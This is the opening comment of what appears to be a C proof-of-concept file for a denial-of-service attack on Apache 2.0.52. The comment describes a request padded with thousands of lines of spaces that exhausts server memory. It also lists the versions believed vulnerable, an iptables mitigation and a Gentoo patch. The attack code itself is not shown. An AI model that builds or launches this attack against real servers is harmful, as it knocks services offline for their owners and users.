/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52

Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times

Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.

Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.

This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch

Rewritten to use pthread.
